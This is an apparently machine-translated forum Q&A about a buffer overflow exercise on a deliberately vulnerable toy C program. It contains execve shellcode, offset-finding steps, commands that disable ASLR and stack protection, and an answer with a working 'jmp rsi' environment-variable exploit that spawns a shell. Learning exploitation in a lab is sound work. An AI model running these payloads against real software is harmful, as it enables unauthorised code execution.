我在C程序上进行缓冲区重载的练习,一旦我将 shellcode 插入到 shellcode 中,这个问题的目标是获取root shell 程序。这就是我现在所拥有的:
STEP 1.- Firstable让我们在名为file.c的文件中查看我的C代码:
root@kali:~# cat ./file.c
#include <stdio.h>
#include <string.h>
void premio()
{
printf("I have altered the programs flow\n");
}
int main(int argc, char *argv[])
{
char buffer[100];
if (argc != 2)
{
printf("Use: %s argument\n",argv[0]);
return -1;
}
strcpy(buffer,argv[1]);
printf ("%s\n",buffer);
return 0;
}
步骤2.-我已经完成并停用ASLR以避免接收随机地址,如下所示:
gcc -fno-stack-protector -z execstack buffer.c -o buffer
echo 0 > /proc/sys/kernel/randomize_va_space
步骤3.-让我们检查一下它的工作原理:
root@kali:~# ./file string
string
root@kali:~# ./file `ruby -e 'print "a"*99'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*100'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
root@kali:~# ./file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (this means we have overwritten the EIP register)
root@kali:~# gdb ./file
(gdb) run `ruby -e 'print "a"*125'`
Starting program: /root/file `ruby -e 'print "a"*125'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x0000006161616161 in ?? () (this is the value of EIP beacuse of the letter a)
(gdb)
步骤4.-我们将使用以下方式找到EIP位置的值:
root@kali:~# ./pattern_create.rb -l 125
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae
root@kali:~# gdb ./file
(gdb) run "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Starting program: /root/file "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae"
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae
Program received signal SIGSEGV, Segmentation fault.
0x0000006541306541 in ?? ()
root@kali:~# ./pattern_offset.rb -q 0x0000006541306541 -l 125
[*] Exact match at offset 120
In this case we have found that if we write 120 characters the next 5 will be EIP
步骤5.-现在我们将创建一个用shellcode覆盖缓冲区的脚本,shellcode取自:
\x31 \xc0 xor eax, eax
\x50 push eax
//PUSH /bin
\x68\x2f\x2f\x73\x68 push 0x68732f2f
//PUSH //sh
\x68\x2f\x62\x69\x6e push 0x6e69622f
\x89\xe3 mov ebx, esp
\x50 push eax
\x53 push ebx
\x89\xe1 mov ecx, esp
\xb0\x0b mov al, 0xb
\xcd\x80 int 0x80
root@kali:~# cat ./exploit.rb
eip = "bbbbb"
aes = "a"*97
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" #23 bytes
print (shell + aes + eip) #125 bytes total
步骤6.-现在我们必须知道必须跳转到哪个地址才能开始执行我们的shell,但是在这里我被卡住了因为我不知道该怎么做。
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x0000000000000753 <+0>: push rbp
0x0000000000000754 <+1>: mov rbp,rsp
0x0000000000000757 <+4>: add rsp,0xffffffffffffff80
0x000000000000075b <+8>: mov DWORD PTR [rbp-0x74],edi
0x000000000000075e <+11>: mov QWORD PTR [rbp-0x80],rsi
0x0000000000000762 <+15>: cmp DWORD PTR [rbp-0x74],0x2
0x0000000000000766 <+19>: je 0x78a <main+55>
0x0000000000000768 <+21>: mov rax,QWORD PTR [rbp-0x80]
0x000000000000076c <+25>: mov rax,QWORD PTR [rax]
0x000000000000076f <+28>: mov rsi,rax
0x0000000000000772 <+31>: lea rdi,[rip+0xf1] # 0x86a
0x0000000000000779 <+38>: mov eax,0x0
0x000000000000077e <+43>: call 0x5f0 <printf@plt>
0x0000000000000783 <+48>: mov eax,0xffffffff
0x0000000000000788 <+53>: jmp 0x7b5 <main+98>
0x000000000000078a <+55>: mov rax,QWORD PTR [rbp-0x80]
0x000000000000078e <+59>: add rax,0x8
0x0000000000000792 <+63>: mov rdx,QWORD PTR [rax]
0x0000000000000795 <+66>: lea rax,[rbp-0x70]
0x0000000000000799 <+70>: mov rsi,rdx
0x000000000000079c <+73>: mov rdi,rax
0x000000000000079f <+76>: call 0x5d0 <strcpy@plt>
0x00000000000007a4 <+81>: lea rax,[rbp-0x70]
0x00000000000007a8 <+85>: mov rdi,rax
0x00000000000007ab <+88>: call 0x5e0 <puts@plt>
0x00000000000007b0 <+93>: mov eax,0x0
0x00000000000007b5 <+98>: leave
0x00000000000007b6 <+99>: ret
End of assembler dump.
第7步.-在这里找到将其放入漏洞利用脚本中改变eip值的地址,但我不知道该怎么办,抱歉
(gdb) run `ruby exploit.rb`
Starting program: /root/file `ruby exploit.rb`
1▒Ph//shh/bin▒▒PS▒▒
̀aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb
Program received signal SIGSEGV, Segmentation fault.
0x0000006262626262 in ?? ()
(gdb) x/40x $esp
0xffffffffffffe590: Cannot access memory at address 0xffffffffffffe590
(gdb) x/40x $rsp
0x7fffffffe590: 0x00600000 0x00000000 0xffffe668 0x00007fff
0x7fffffffe5a0: 0xf7b9c168 0x00000002 0x55554753 0x00005555
0x7fffffffe5b0: 0x00000000 0x00000000 0xb3c231f4 0x54cfb08e
0x7fffffffe5c0: 0x55554610 0x00005555 0xffffe660 0x00007fff
0x7fffffffe5d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe5e0: 0xf76231f4 0x019ae5db 0x589031f4 0x019af56f
0x7fffffffe5f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe600: 0x00000000 0x00000000 0xffffe680 0x00007fff
0x7fffffffe610: 0xf7ffe168 0x00007fff 0xf7de875b 0x00007fff
0x7fffffffe620: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)
最后,它必须给我一个 root shell 。
差不多完成了,在第6步和第7步我真的被困,你能帮帮我吗?
感谢先进的
祝你好运
答案 0 :(得分:1)
在C语言中,空字符是参数的结尾。因此,您的有效负载(第一个参数)中不能包含空字符。总之,您必须找到一种跳转到没有空字符的shellcode的方法。
解决问题的方法可能是使用环境变量。例如。保存跳跃(jmp rsi)
为什么RSI注册?
因为偏移量为0
[RSP] --> offset 120 - size ~80
[RSI] --> offset 0 - size ~203
获取操作码并将其保存在环境变量中。
[manu@kinakuta /tmp]$ rasm2 "jmp rsi"
ffe6
[manu@kinakuta /tmp]$ export JMP_RSI=`python -c 'print "\xff\xe6\x00"'`
获取环境变量的地址
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]){
char *ptr;
if (argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) -strlen(argv[2]))*2;
printf("%p\n",ptr);
}
编译并获取地址
[manu@kinakuta /tmp]$ gcc getenvaddr.c -o getenvaddr
[manu@kinakuta /tmp]$ ./getenvaddr JMP_RSI ./buffer
0x7fffffffef3d
如果您在调试器中,则必须向此地址添加8。
利用漏洞
Shellcode + padding + EIP(环境变量地址) - &gt; RSI + 填充+ JMP RSI
[manu@kinakuta /tmp]$ python -c 'print "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"+"\x90"*(120-30)+"\x3d\xef\xff\xff\xff\x7f"' > input
[manu@kinakuta /tmp]$ ./buffer `cat input`
H1�H�//bin/shH�SH��PWH���;������������������������������������������������������������������������������������������=����
$ id
uid=1000(manu) gid=1000(manu) groups=1000(manu),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),122(vboxusers),124(wireshark)